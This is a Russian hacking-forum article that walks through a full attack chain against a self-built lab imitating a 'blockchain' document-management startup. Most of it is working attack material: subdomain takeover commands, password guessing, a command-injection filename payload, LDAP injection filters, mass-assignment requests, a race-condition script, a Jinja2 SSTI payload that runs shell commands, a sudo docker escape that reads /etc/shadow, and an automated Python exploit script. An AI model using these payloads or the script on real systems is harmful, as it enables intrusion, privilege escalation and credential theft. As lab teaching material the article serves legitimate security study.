• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья От OSINT до полного компромисса: как я взломал "блокчейн-защищённую" систему управления документами

hackeryaroslav

(L1) cache
Пользователь
Регистрация
11.09.2023
Сообщения
535
Реакции
521

Авторство: hackeryaroslav​

Источник: xss.pro​


Привет, анон!

1759067004843.png

Это статья довольно большая, писал я ее почти 2 недели и очень постарался сделать ее максимально доступной. Я буду рад, если вы просто оцените ее, ведь кто знает, когда у меня появится вдохновение написать следующую))

В поисках идей для новой статьи я решил написать своему давнему знакомому — пентестер, мастер своего дела. Занимается этим не первый год. Собственно, я попросил рассказать самый безумный кейс и он с радостью поделился деталями. Честно, я не мог в это поверить с первого раза, настолько смешно и абсурдно…

Началось всё с банального OSINT'а для баг баунти программы, а закончилось... ну, скажем так, полным админским доступом к их "инновационной блокчейн-платформе".

Спойлер для особо торопливых: блокчейн оказался MongoDB с красивыми названиями коллекций и комментарием "Very secure" в коде. Честно я не мог поверить, смеяться тут или плакать как говорят)

После того как он рассказал мне всю цепочку атак, я понял - это идеальный кейс для изучения. Поэтому решил воссоздать максимально похожую лабораторную среду и пошагово разобрать каждую технику. Сейчас мы вместе поднимем эту лабу и пройдёмся по всей цепочке эксплойтов.

Знакомимся с целью​

В нашей истории это будет SecureVault — классический стартап нашего времени (не реальный таргет, ссылки в статье не настоящие!). Их лендинг пестрит фразами вроде "AI-powered document intelligence", "blockchain-verified authenticity" и "zero-trust architecture". Привлекли $15M инвестиций. Баг баунти программа обещала до $50,000 за критические уязвимости.

На первый взгляд — серьёзная компания с серьезными технологиями. Но как говорится, дьявол кроется в деталях.

Подготовка испытательного стенда​

Я подготовил Docker-окружение, максимально приближенное к реальной архитектуре. В нём есть всё необходимое:
  • Веб-приложение на Flask с JWT авторизацией
  • Document Parser для обработки загружаемых файлов
  • OpenLDAP для аутентификации пользователей
  • MongoDB как основная база данных (включая "блокчейн")
  • Redis для кеширования
  • MinIO для хранения файлов
  • Nginx как reverse proxy

Развёртывание лаборатории​

Код с оформлением (BB-коды):
# Скачай зип файл ниже

cd securevault-lab

# Поднимаем всю инфраструктуру
docker-compose up -d

# Проверяем статус сервисов
docker-compose ps

После запуска всех контейнеров стоит подождать минуту. Благодаря healthcheck и depends_on в docker-compose.yml, сервисы запустятся в правильном порядке, и webapp начнет работу только после того, как LDAP и базы данных будут полностью готовы.

Код:
# Проверяем доступность
curl http://localhost/health
curl http://localhost:8081/health

После запуска у вас будут доступны:

Архитектура системы​

┌─────────────┐ ┌─────────────┐ ┌─────────────┐

│ Nginx │───▶│ Web App │───▶│ Doc Parser │

│ Port 80 │ │ Port 8080 │ │ Port 8081 │

└─────────────┘ └─────────────┘ └─────────────┘

│ │

▼ ▼

┌─────────────┐ ┌─────────────┐ ┌─────────────┐

│ OpenLDAP │◀───│ MongoDB │ │ Redis │

│ Port 389 │ │ Port 27017 │ │ Port 6379 │

└─────────────┘ └─────────────┘ └─────────────┘​

Каждый сервис содержит свой набор уязвимостей, которые мы будем эксплуатировать по очереди.

1759064748364.png


Этап 1: Разведка и сбор информации​

Любой качественный пентест начинается с тщательной разведки. Информация — наше главное оружие. Чем больше мы знаем о цели, тем выше шансы найти точку входа.

Классический DNS enumeration​

В реальном сценарии мой знакомый начал с поиска поддоменов:

Код:
# Поиск поддоменов различными методами
subfinder -d securevault.io -silent | sort -u > subdomains.txt
assetfinder --subs-only securevault.io >> subdomains.txt
amass enum -passive -d securevault.io >> subdomains.txt


# Проверяем какие из них отвечают
cat subdomains.txt | sort -u | httpx -silent -follow-redirects

Из интересного он нашёл:
  • api.securevault.io — основной API endpoint
  • docs.securevault.io — документация (часто содержит утечки)
  • staging-old.securevault.io — заброшенный staging сервер

Subdomain Takeover: низко висящий фрукт​

Последний поддомен особенно заинтересовал. При попытке зайти получилась ошибка "This site can't be reached", но DNS записи существовали:

dig staging-old.securevault.io
# CNAME: staging-old-947822.herokuapp.com

CNAME указывал на несуществующий Heroku app! Классический случай для subdomain takeover. В реальности можно было бы:

Код:
heroku create staging-old-947822
echo "<h1>Controlled by Security Researcher</h1>" > index.html
git add . && git commit -m "Proof of concept"
git push heroku main

И вуаля — staging-old.securevault.io под контролем исследователя. Это уже серьёзная репутационная проблема и потенциальная точка для фишинга.

GitHub разведка: золотая жила информации

В документации на docs.securevault.io мой знакомый нашёл ссылку на их GitHub: github.com/securexyz. Публичных репозиториев было немного, но один привлёк внимание: securevault-deployment-scripts.

Внутри лежал docker-compose.yml для dev окружения. И тут началось интересное — разработчики оставили комментарии со служебной информацией:

Код:
# Notifications go to #dev-alerts
# Webhook: https://hooks.slack.com/services/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
# MongoDB backup: s3://backups-dev-securevault/mongodb/
# LDAP admin: cn=admin,dc=securevault,dc=local / TempPassword123!

Boom! Уже есть:
  • Slack webhook URL
  • Структура LDAP
  • Возможные credentials для dev среды
  • Информация о backup'ах в S3

Социальная инженерия через Slack​

Используя webhook URL, можно определить workspace: securevault-team.slack.com. Далее через LinkedIn собираем email-адреса сотрудников и пробуем стандартные пароли для регистрации гостевых аккаунтов в Slack.

Типичные комбинации:
Один из них сработал: dev-guest@securevault.io:Welcome123!

Попав в Slack workspace, исследователь получил доступ к каналу #dev-logs, где разработчики активно обсуждали баги и делились логами прямо из production. Через несколько часов мониторинга он наткнулся на золотую жилу.

В нашей лабе этот момент симулируется через реальные логи сервиса document-parser:

Код:
# Смотрим логи парсера, где случайно выводится конфиг
docker-compose logs document-parser | grep -A 5 -B 5 "Config dump"

Вы увидите примерно такую картину:

1759064780753.png

Разработчик случайно слил production конфиг с credentials! Теперь у нас есть:
  • MongoDB credentials: parser:5ecur3V4ult2024
  • LDAP bind user: cn=service,ou=services,dc=securevault,dc=local
  • Архитектурная информация: понимание внутренней структуры

Этап 2: Провал XXE и неожиданный поворот к RCE​

Из анализа логов и внутренней документации было понятно, что система активно работает с XML. На основном API был эндпоинт /api/v1/documents/parse-xml. Мой (далее от лицо исследователя) первый инстинкт — проверить его на классическую уязвимость XML External Entity (XXE).

Первая попытка и первый провал​

Я начал с базового payload для чтения /etc/passwd, чтобы проверить гипотезу.

Код:
cat > xxe_passwd.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<document>
  <title>XXE Test</title>
  <content>&xxe;</content>
</document>
EOF


curl -X POST "http://localhost/api/v1/documents/parse-xml" \

  -F "file=@xxe_passwd.xml" \

  -H "Content-Type: multipart/form-data"


Но вместо содержимого файла я получил ошибку, которая сразу всё объяснила:

Код:
{

  "error": "XML parsing error: undefined entity &xxe;: line 7, column 11"

}

1759064889185.png

Это классический пример того, как разработчики обновляют библиотеки, но забывают о легаси-коде. Основной сервис webapp использовал современную версию питона, где XML-парсер по умолчанию надёжно защищён от XXE.

Этот провал заставил меня копнуть глубже. Я вспомнил про микросервис document-parser, который упоминался во внутренней документации. Что если уязвимый код остался там?

Вторая гипотеза: Command Injection​

Изучив исходный код document-parser, я нашёл не XXE, а кое-что повкуснее — Command Injection.

Python:
# document-parser/app.py
def parse_pdf_file(file):
    temp_path = f"/tmp/{file.filename}"
    cmd = f"pdftotext '{temp_path}' -"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

Бинго! Имя файла напрямую вставляется в команду, которая выполняется с shell=True. Это значит, что мы можем "закрыть" кавычку в имени файла и выполнить свою команду.

Вторая попытка и второй провал: Ограничения curl​

Чтобы быстро проверить гипотезу, я снова обратился к curl, составив хитрый пейлоад, который должен был обойти проверку endswith('.pdf') и выполнить команду id.

Код:
# Создаем пустой файл, его содержимое не важно
touch dummy_file.pdf


# Отправляем payload на эндпоинт /parser/parse
curl -X POST "http://localhost/parser/parse" \
  -F "file=@dummy_file.pdf;filename=exploit.pdf' ; id ; # dummy.pdf"

Однако я сразу же наткнулся на интересную проблему — curl вернул предупреждения и ту же ошибку, что и сервер:


Код:
Warning: skip unknown form field: id
Warning: skip unknown form field: # dummy.pdf
{
  "error": "Unsupported file type"
}

1759064953537.png

Проблема оказалась не в уязвимости, а в самом curl. Флаг -F использует точку с запятой (;) для разделения атрибутов формы, таких как filename=. Мой пейлоад с несколькими точками с запятой просто сломал его парсер, и на сервер ушло некорректное имя файла.

Это классический пример, когда для сложной атаки возможностей командной строки уже не хватает.

Третья попытка и полный успех: Python спешит на помощь​

Именно поэтому для полноценной эксплуатации я переключился на пайтон и наш заранее подготовленный скрипт exploit.py (по ходу статьи мы соберем его полностью!). Библиотека request позволяет полностью контролировать HTTP-запрос и гарантирует, что мой пейлоад дойдет до сервера в неизменном виде.

Вот фрагмент кода из нашего эксплойта, который делает всю магию:

Python:
# attacks/exploit.py -> step2_command_injection()
def step2_command_injection(self):
    # Пейлоад, который закрывает кавычку и выполняет команду
    malicious_filename = "exploit.pdf' ; id ; # dummy.pdf"
    files = {'file': (malicious_filename, b'dummy content', 'application/pdf')}
  
    response = self.session.post(
        f"{self.base_url}/parser/parse",
        files=files
    )
    # ...

Запустив полный эксплойт-скрипт, я наконец получил то, чего добивался:

[!] Command Injection успешна! Получен результат команды 'id':

uid=0(root) gid=0(root) groups=0(root)

1759065003560.png


Джекпот! Вместо чтения одного файла мы получили полноценное удаленное выполнение кода (RCE) с правами root внутри контейнера document-parser. Это гораздо круче, чем просто XXE.

Теперь у нас есть плацдарм внутри их инфраструктуры. Хоть это и не основной сервис, RCE в любом компоненте — это уже критическая уязвимость. Это открытие дало мне уверенность, что если здесь есть такие дыры, то и в основном приложении найдётся что-то интересное.

Этап 3: LDAP Injection — извлекаем пользователей​

Имея LDAP credentials из конфига (LDAP_S3rv1c3_2024!), можно попробовать подключиться к LDAP серверу. Но сначала исследуем API эндпоинты для работы с LDAP.

Анализ LDAP функциональности​

В API документации (или через directory traversal/источники) находим endpoint /api/v1/auth/ldap-search для поиска пользователей. Это типичная функция для корпоративных приложений — позволяет искать сотрудников по различным атрибутам.

Код:
# Базовый запрос для поиска пользователей
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(objectClass=person)"
  }' | jq .

Ответ показывает структуру пользователей:

Код:
{
  "results": [
    {
      "cn": "john.doe",
      "mail": "john.doe@securevault.local",
      "userPassword": ""
    },
    {
      "cn": "dev.user",
      "mail": "dev.user@securevault.local",
      "userPassword": ""
    }
  ]
}

Пароли скрыты, но сам факт возврата результатов говорит о том, что LDAP запрос выполнился. Параметр filter выглядит подозрительно — возможна LDAP injection.

Теория LDAP Injection​

LDAP Injection похожа на SQL Injection, но применяется к LDAP запросам. Уязвимость возникает, когда пользовательский ввод напрямую подставляется в LDAP фильтр без proper escaping.

LDAP фильтры имеют следующий синтаксис:
  • (attribute=value) — точное совпадение
  • (attribute=value*) — starts with
  • (|(filter1)(filter2)) — OR оператор
  • (&(filter1)(filter2)) — AND оператор
Инъекции работают через подстановку специальных символов: * ( ) & | ! =

Практическая эксплуатация LDAP Injection​

Сначала попробуем получить всех пользователей с паролями:

Код:
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(&(objectClass=person)(cn=*)(userPassword=*))"
  }' | jq .

Если это сработает, мы увидим всех пользователей. В нашей лабе пароли хранятся в открытом виде для демонстрации (в реальности они хешированы):

Код:
{
  "results": [
    {
      "cn": "testadmin",
      "mail": "admin@securevault.local",
      "userPassword": "Adm1n_SecureVault_2024!"
    },
    {
      "cn": "john.doe",
      "mail": "john.doe@securevault.local",
      "userPassword": "User123!"
    },
    {
      "cn": "service",
      "mail": "service@securevault.local",
      "userPassword": "LDAP_S3rv1c3_2024!"
    }
  ]
}

Отлично! Получили всех пользователей с паролями. Особенно интересен testadmin с паролем Adm1n_SecureVault_2024!.

Blind LDAP Injection​

В реальном сценарии пароли обычно захешированы или не возвращаются в ответе. Тогда можно использовать blind LDAP injection для извлечения данных символ за символом.

Принцип такой: если запрос возвращает результаты, значит условие истинно. Если не возвращает — ложно.

В нашей лабе можно протестировать этот принцип:

Код:
# Проверяем, начинается ли пароль админа с "A"
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(&(objectClass=person)(cn=testadmin)(userPassword=A*))"
  }' | jq '.results | length'


# Если возвращает больше 0 результатов, то да
# Продолжаем: Ad*, Adm*, Adm1* и т.д.


curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(&(objectClass=person)(cn=testadmin)(userPassword=Adm1n_SecureVault_2024!*))"
  }' | jq .

Таким образом можно извлечь полный пароль.

1759065189460.png

Дополнительные LDAP векторы​

LDAP injection можно использовать не только для извлечения паролей:

Код:
# Получение информации о структуре домена
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(objectClass=organizationalUnit)"
  }'


# Поиск групп и ролей
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(objectClass=groupOfNames)"
  }'


# Поиск служебных аккаунтов
curl -X POST "http://localhost/api/v1/auth/ldap-search" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": "(&(objectClass=person)(|(cn=service*)(cn=admin*)(cn=root*)))"
  }'


В результате LDAP injection мы получили admin credentials: testadmin:Adm1n_SecureVault_2024

Этап 4: Mass Assignment — повышаем привилегии​

Имея админские credentials, можно аутентифицироваться в системе и начать исследование API endpoints с повышенными правами.

Получение JWT токена​

Код:
JWT_TOKEN=$(curl -s -X POST "http://localhost/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "admin",
    "password": "Adm1n_SecureVault_2024!"
  }' | jq -r '.access_token')


echo "JWT Token: $JWT_TOKEN"

Получаем JWT токен для дальнейшей работы. Токен содержит claims с информацией о пользователе и его правах.

Теория Mass Assignment атак​

Mass Assignment (также известен как Parameter Pollution или Overposting) — это уязвимость, при которой приложение автоматически привязывает пользовательские параметры к внутренним объектам или моделям данных без proper фильтрации.

Проблема возникает, когда:
  1. Приложение принимает JSON/form данные
  2. Автоматически маппит их на объект/модель
  3. Не фильтрует, какие поля можно изменять
Например, если у пользователя есть поля:
  • name (можно менять)
  • email (можно менять)
  • role (нельзя менять)
  • is_admin (нельзя менять)
Но приложение не проверяет это и принимает любые поля из запроса.

Практическая эксплуатация Mass Assignment​

Попробуем отправить не только разрешённые поля, но и потенциально чувствительные:

Код:
curl -X PUT "http://localhost/api/v1/users/profile" \
  -H "Authorization: Bearer $JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Pwned Admin",
    "email": "hacker@evil.com",
    "role": "super_admin",
    "permissions": ["read", "write", "admin", "super_admin", "system"],
    "is_system": true,
    "blockchain_access": true,
    "debug_access": true,
    "salary": 999999,
    "department": "Security"
  }' | jq .

Если Mass Assignment уязвимость существует, сервер примет все поля и обновит их в базе данных:

1759065259110.png

Йесс! Сервер принял все поля, включая критичные role и permissions. Теперь наш аккаунт имеет максимальные права в системе.

Проверка эскалации привилегий​

Проверим, действительно ли права изменились:

Код:
curl -X GET "http://localhost/api/v1/debug/config" \
  -H "Authorization: Bearer $JWT_TOKEN" | jq .

Если Mass Assignment сработал, мы увидим debug информацию:

1759065286925.png

Отлично! Получили доступ к debug endpoint'у, который обычно доступен только системным администраторам.

Углублённый анализ Mass Assignment​

В реальных приложениях Mass Assignment может позволить:

Эскалацию привилегий:
  • role: admin
  • is_admin: true
  • permissions: ["*"]
Обход ограничений:
  • verified: true
  • activated: true
  • banned: false
Финансовые манипуляции:
  • balance: 999999
  • credit_limit: 100000
  • discount: 100
Получение доступа:
  • api_key: "new_key"
  • secret_token: "controlled_value"
  • access_level: "full"
Ребзи запомните, что Mass Assignment — это не просто "какое то лишнее поле в запросе". Это фундаментальная проблема архитектуры приложения, когда границы между пользовательским вводом и внутренними данными размыты.

Этап 5: Race Condition в "блокчейн" валидации​

Изучая документацию и код, я понял, как работает их "инновационная блокчейн система". При загрузке документа происходит следующая последовательность:
  1. Вычисление hash документа (SHA-256)
  2. Проверка на дубликаты в "блокчейн" коллекции
  3. Задержка для "криптографических вычислений" (200ms)
  4. Создание записи в MongoDB коллекции blockchain_blocks
  5. Возврат токена доступа
Между шагами 2 и 4 есть временное окно — классическая setup для race condition атаки.

Теория Race Condition атак​

Race Condition возникает, когда результат выполнения программы зависит от относительного времени выполнения нескольких потоков или процессов. В веб-приложениях это часто проявляется в:

Time-of-Check vs Time-of-Use (TOCTOU):
  • Проверка условия в момент времени T1
  • Использование результата в момент времени T2
  • Между T1 и T2 состояние может измениться
Конкурентный доступ к ресурсам:
  • Несколько запросов модифицируют один ресурс
  • Отсутствие proper locking механизмов
  • Непредсказуемый финальный результат
Atomic operations нарушения:
  • Операция должна быть атомарной, но разбита на части
  • Между частями может "вклиниться" другой запрос

Анализ уязвимой логики​

Посмотрим на код обработчика загрузки документов (воссозданный на основе поведения):

Python:
@app.route('/api/v1/documents/upload', methods=['POST'])
@jwt_required()
def upload_document():
    if 'document' not in request.files:
        return jsonify({'error': 'No document provided'}), 400
  
    file = request.files['document']
    content = file.read()


    doc_hash = hashlib.sha256(content).hexdigest()


    existing_block = db.blockchain_blocks.find_one({'document_hash': doc_hash})


    time.sleep(0.2)
  
    if existing_block:
        return jsonify({
            'message': 'Document already exists',
            'blockchain_token': existing_block.get('token'),
            'document_hash': doc_hash
        })
    else:
        blockchain_token = str(uuid.uuid4())
        block_data = {
            'token': blockchain_token,
            'document_hash': doc_hash,
            'timestamp': time.time(),
            'user': get_jwt_identity(),
            'filename': file.filename
        }
        db.blockchain_blocks.insert_one(block_data)
      
        return jsonify({
            'message': 'Document uploaded successfully',
            'blockchain_token': blockchain_token,
            'document_hash': doc_hash
        })

Проблема очевидна: между проверкой дубликата и созданием записи есть 500ms пауза. Если отправить множественные одинаковые запросы одновременно, они все пройдут проверку на шаге 2 (документа ещё нет), а потом каждый создаст свою запись на шаге 4.

Практическая эксплуатация Race Condition​

Вместо отдельного скрипта, я интегрировал эту атаку прямо в наш основной эксплойт attacks/exploit.py как Шаг 5. Это позволило использовать уже полученный JWT-токен и продолжить цепочку.

Python:
def step5_race_condition(self):
        print("[+] Шаг 5: Race Condition атака")
        headers = {"Authorization": f"Bearer {self.jwt_token}"}
        tokens = []
      
        def upload_doc():
            files = {'document': ('test.pdf', b'dummy data', 'application/pdf')}
            response = self.session.post(
                f"{self.base_url}/api/v1/documents/upload",
                files=files,
                headers=headers
            )
            if response.status_code == 200:
                token = response.json().get('blockchain_token')
                tokens.append(token)


        threads = []
        for i in range(20):
            t = threading.Thread(target=upload_doc)
            threads.append(t)
            t.start()
          
        for t in threads:
            t.join()
          
        unique_tokens = set(tokens)
        print(f"[!] Получено {len(tokens)} токенов, уникальных: {len(unique_tokens)}")
      
        if len(tokens) > len(unique_tokens):
            print("[!] Race Condition успешна! Созданы дублирующиеся токены")
            return True
        return False

При запуске эксплойта мы получаем результат, доказывающий успешную эксплуатацию:

1759065390170.png

В данном случае был создан 1 уникальный блок, а остальные 19 запросов вернули токен этого уже существующего блока. Хотя эксплойт мог создать и несколько уникальных блоков. Главное, что len(tokens) (20) больше len(unique_tokens) (1).

Последствия Race Condition​

Успешная race condition в данном случае позволяет:
  1. Создать множественные токены для одного документа
  2. Нарушить уникальность "блокчейн" записей
  3. Потенциальные финансовые потери если токены имеют стоимость
  4. Нарушение аудита — один документ, много записей
  5. DoS потенциал — можно заспамить базу дубликатами
В реальных системах аналогичные race condition могут приводить к:
  • Double spending в финансовых системах
  • Inventory issues в e-commerce
  • Дублировать аккаунты/ресурсы
  • Auth bypass через timing attacks
(Извиняюсь за свой инглиш):)

Последствия и проверка "блокчейна"​

Посмотрим, что произошло в MongoDB:

docker-compose exec mongodb mongo -u admin -p admin123 --authenticationDatabase admin documents --eval 'db.blockchain_blocks.aggregate([{$group: {_id: "$document_hash", count: {$sum: 1}}}, {$match: {count: {$gt: 1}}}])'

Результат покажет документы с множественными записями:

{ "_id" : "690e99e2575564df6cfde59e050578591e68780955d2332c6cb56ab70f8b77f1", "count" : 20 }
{ "_id" : "797bb0abff798d7200af7685dca7901edffc52bf26500d5bd97282658ee24152", "count" : 20 }

Это доказывает, что для одного и того же документа был создан как минимум один "уникальный" блок в их "блокчейне"! В то время как остальные 19 запросов вернули токен этого блока, нарушив логику приложения. Целостность данных была полностью скомпрометирована. Едем дальше, это еще не все!)

Этап 6: Финальный RCE через SSTI​

Имея доступ с повышенными привилегиями после атаки Mass Assignment, можно исследовать более продвинутые функции API. Особенный интерес представляет эндпоинт /api/v1/reports/generate для генерации отчётов.

Анализ функциональности отчётов​

Простой запрос показал, что эндпоинт принимает custom_template и обрабатывает его:

Код:
curl -X POST "http://localhost/api/v1/reports/generate" \
  -H "Authorization: Bearer $JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"report_type": "custom", "custom_template": "{{ 7*7 }}"}' | jq .

1759065555704.png

Ответ {"content": "49"} — это явный признак Server-Side Template Injection (SSTI) в шаблонизаторе Jinja2.

Теория Server-Side Template Injection​

SSTI возникает, когда пользовательский ввод передаётся напрямую в template engine без proper санитизации. Template engines предназначены для генерации динамического контента, но могут выполнять код если используются неправильно.

Популярные template engines:
  • Jinja2 (Python/Flask) — {{ ... }}
  • Twig (PHP) — {{ ... }}
  • Smarty (PHP) — {$...}
  • ERB (Ruby) — <%= ... %>
  • Thymeleaf (Java) — ${...}
Типичная уязвимая конструкция:

template = Template(user_input) # ПЛОХО
result = template.render(context)

Правильная конструкция:

template = Template(safe_template) # ХОРОШО
result = template.render(user_data=user_input)

Эскалация к Remote Code Execution​

Jinja2 SSTI может привести к RCE через доступ к встроенным функциям питона. После нескольких неудачных попыток с поиском классов по индексам (которые оказались нестабильными), я использовал самый надёжный и универсальный пейлоад. Он не ищет существующие классы, а сам импортирует нужный модуль subprocess.

Python:
def step6_ssti_rce(self):
    print("[+] Шаг 6: SSTI атака для RCE")
    # Универсальный пейлоад, который сам импортирует subprocess
    ssti_payload = "{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('id', shell=True, stdout=-1).communicate()[0].decode() }}"
    # ...
    response = self.session.post(...) # Отправляем пейлоад
    # ...

Запуск эксплойта с этим пейлоадом дал нам RCE уже в основном контейнере webapp:

1759065632426.png

Отлично! Теперь у нас есть полный контроль над основным приложением, и мы работаем от имени пользователя, который находится в группе sudo. Но мы можем сделать еще кое что!

Этап 7: Privilege Escalation через Docker​

Получив RCE в основном контейнере webapp, я первым делом проверил права. Команда id вернула: uid=1000(appuser) ... groups=... 27(sudo).

Пользователь appuser в группе sudo! Это был последний ключ. Я проверил его права через sudo -l и обнаружил, что ему разрешено выполнять Docker-команды без пароля. Это классический и очень опасный мисконфиг, открывающий прямой путь к root на хост-машине.

Теория Docker Privilege Escalation​

Docker-демон по своей природе запускается от имени root и имеет полный доступ к хост-системе. Когда пользователю разрешено выполнять docker команды, он, по сути, может:
  • Монтировать файловую систему хоста в контейнер.
  • Запускать команды в контексте root внутри нового контейнера.
  • Через chroot получать полный доступ к файловой системе хоста.

Классический вектор эскалации, который мы и будем использовать:

docker run -v /:/host -it alpine chroot /host bash

Практическая эскалация через SSTI​

Мы используем нашу SSTI-уязвимость из предыдущего этапа, чтобы выполнить команду sudo docker, которая запустит новый контейнер, подмонтирует в него корневую файловую систему хоста (/) и прочитает файл /etc/shadow.

Вот как выглядит финальный пейлоад в Шаге 6 нашего эксплойта:

Python:
# attacks/exploit.py -> step6_ssti_rce()

# Финальный пейлоад для чтения /etc/shadow с хоста

command = "sudo /usr/bin/docker run --rm -v /:/host_fs alpine cat /host_fs/etc/shadow"

ssti_payload = f"{{{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('{command}', shell=True, stdout=-1, stderr=-2).communicate()[0].decode() }}}}"

response = self.session.post(...) # Отправляем пейлоад

Запуск эксплойта приводит к триумфальному завершению:

1759065769662.png

Полный компромисс достигнут! Мы вырвались из контейнера и получили root-эквивалентный доступ к хост-системе.

Дополнительная постэксплуатация​


С такими правами можно получить абсолютно всё. Например, можно напрямую подключиться к контейнеру MongoDB и изучить их "инновационный блокчейн".

Код:
# Команда для извлечения 5 последних "блоков" из MongoDB

# Выполняется с хоста, но мы можем ее запустить через наш SSTI RCE

docker-compose exec mongodb mongo -u admin -p admin123 --authenticationDatabase admin documents --eval 'db.blockchain_blocks.find().limit(5).pretty()'

Результат был очень показательным:

1759065829288.png

Это обычная коллекция MongoDB! Никаких связанных блоков, никакой криптографии (кроме SHA-256), никаких смарт-контрактов.

Анализ "блокчейн" архитектуры​

Чтобы окончательно убедиться, я изучил код, который отвечает за создание этих "блоков". Вместо сложного отдельного валидатора, вся логика оказалась прямо в обработчике загрузки файлов:

Python:
# webapp/app.py -> функция upload_document()

def upload_document():

    # ... (код для получения файла) ...

    content = file.read()

    doc_hash = hashlib.sha256(content).hexdigest()

    # "Создание блока"

    blockchain_token = str(uuid.uuid4()) # Токен - это просто случайный UUID

    block_data = {

        'token': blockchain_token,

        'document_hash': doc_hash,

        'timestamp': time.time(),

        'user': get_jwt_identity(),

        'filename': file.filename

    }

    # "Запись в распределенный реестр"

    db.blockchain_blocks.insert_one(block_data)

    return jsonify({ ... })

😂 Это было оно. Вся их "революционная блокчейн-технология, защищенная AI" — это одна функция на 15 строк, которая генерирует SHA-256 хэш и случайный UUID, а затем записывает их в MongoDB. Никакой связи блоков, никакого консенсуса, ничего. Можно подумать, что такое невозможно, но такое случается нередко, особенно в крипте (Один из примеров это Zerebro - x.com /daku09990/status/1971973498714153150)

Этап 9: Автоматизация полной цепочки атак​

После ручной отработки некоторых техник создадим полностью автоматизированный эксплойт, который проведёт всю цепочку атак от начала до получения root доступа. (как вы уже могли догадаться - exploit.py):

Python:
import requests
import threading
import time




class SecureVaultExploit:
    def __init__(self, base_url="http://localhost"):
        self.base_url = base_url
        self.session = requests.Session()
        self.jwt_token = None


    def step1_ldap_injection(self):
        """Демонстрация LDAP Injection для извлечения паролей"""
        print("[+] Шаг 1: LDAP Injection атака")


        payload = "(&(objectClass=person)(cn=testadmin)(userPassword=*))"


        response = self.session.post(
            f"{self.base_url}/api/v1/auth/ldap-search", json={"filter": payload}
        )


        if response.status_code == 200:
            results = response.json().get("results", [])
            for user in results:
                if user.get("cn") == "testadmin":
                    print(f"[!] Найден админский аккаунт: {user}")
                    return True
        return False


    def step2_command_injection(self):
        """Command Injection в document-parser для RCE"""
        print("[+] Шаг 2: Command Injection атака на document-parser")


        malicious_filename = "exploit.pdf' ; id ; # dummy.pdf"


        files = {"file": (malicious_filename, b"dummy content", "application/pdf")}


        response = self.session.post(f"{self.base_url}/parser/parse", files=files)


        if response.status_code == 200:
            result = response.json()
            if "uid=" in result.get("content", ""):
                print("[!] Command Injection успешна! Получен результат команды 'id':")
                print(result["content"])
                return True
        print(f"[-] Ответ сервера на Шаге 2: {response.status_code} {response.text}")
        return False


    def step3_get_jwt_token(self):
        """Получение JWT токена"""
        print("[+] Шаг 3: Получение JWT токена")


        response = self.session.post(
            f"{self.base_url}/api/v1/auth/login",
            json={"username": "admin", "password": "Adm1n_SecureVault_2024!"},
        )


        if response.status_code == 200:
            self.jwt_token = response.json()["access_token"]
            print(f"[!] JWT токен получен: {self.jwt_token[:50]}...")
            return True
        return False


    def step4_mass_assignment(self):
        """Mass Assignment для повышения привилегий"""
        print("[+] Шаг 4: Mass Assignment атака")


        if not self.jwt_token:
            return False


        headers = {"Authorization": f"Bearer {self.jwt_token}"}


        payload = {
            "username": "admin",
            "name": "Hacker Admin",
            "email": "hacker@evil.com",
            "role": "super_admin",
            "permissions": ["read", "write", "admin", "super_admin", "system"],
            "is_system": True,
            "blockchain_access": True,
        }


        response = self.session.put(
            f"{self.base_url}/api/v1/users/profile", json=payload, headers=headers
        )


        if response.status_code == 200:
            print("[!] Mass Assignment успешна! Права повышены")
            print(f"Обновлённые поля: {response.json()['updated_fields']}")
            return True
        print(f"[-] Ответ сервера на Шаге 4: {response.status_code} {response.text}")
        return False


    def step5_race_condition(self):
        print("[+] Шаг 5: Race Condition атака")
        headers = {"Authorization": f"Bearer {self.jwt_token}"}
        tokens = []
      
        def upload_doc():
            files = {'document': ('test.pdf', b'dummy data', 'application/pdf')}
            response = self.session.post(
                f"{self.base_url}/api/v1/documents/upload",
                files=files,
                headers=headers
            )
            if response.status_code == 200:
                token = response.json().get('blockchain_token')
                tokens.append(token)


        threads = []
        for i in range(20):
            t = threading.Thread(target=upload_doc)
            threads.append(t)
            t.start()
          
        for t in threads:
            t.join()
          
        unique_tokens = set(tokens)
        print(f"[!] Получено {len(tokens)} токенов, уникальных: {len(unique_tokens)}")
      
        if len(tokens) > len(unique_tokens):
            print("[!] Race Condition успешна! Созданы дублирующиеся токены")
            return True
        return False


    def step6_ssti_rce(self):
        """Server-Side Template Injection для Privilege Escalation через Sudo/Docker"""
        print("[+] Шаг 6: SSTI + Sudo -> Privilege Escalation до root")


        if not self.jwt_token:
            return False


        headers = {"Authorization": f"Bearer {self.jwt_token}"}


        command = (
            "sudo /usr/bin/docker run --rm -v /:/host_fs alpine cat /host_fs/etc/shadow"
        )


        ssti_payload = f"{{{{ self.__init__.__globals__['__builtins__']['__import__']('subprocess').Popen('{command}', shell=True, stdout=-1, stderr=-2).communicate()[0].decode() }}}}"


        response = self.session.post(
            f"{self.base_url}/api/v1/reports/generate",
            json={"report_type": "custom", "custom_template": ssti_payload},
            headers=headers,
        )


        if response.status_code == 200:
            result = response.json()
            if "root:" in result.get("content", ""):
                print(
                    "[!] ПОЛНАЯ ПОБЕДА! Привилегии повышены до root! Получено содержимое /etc/shadow:"
                )
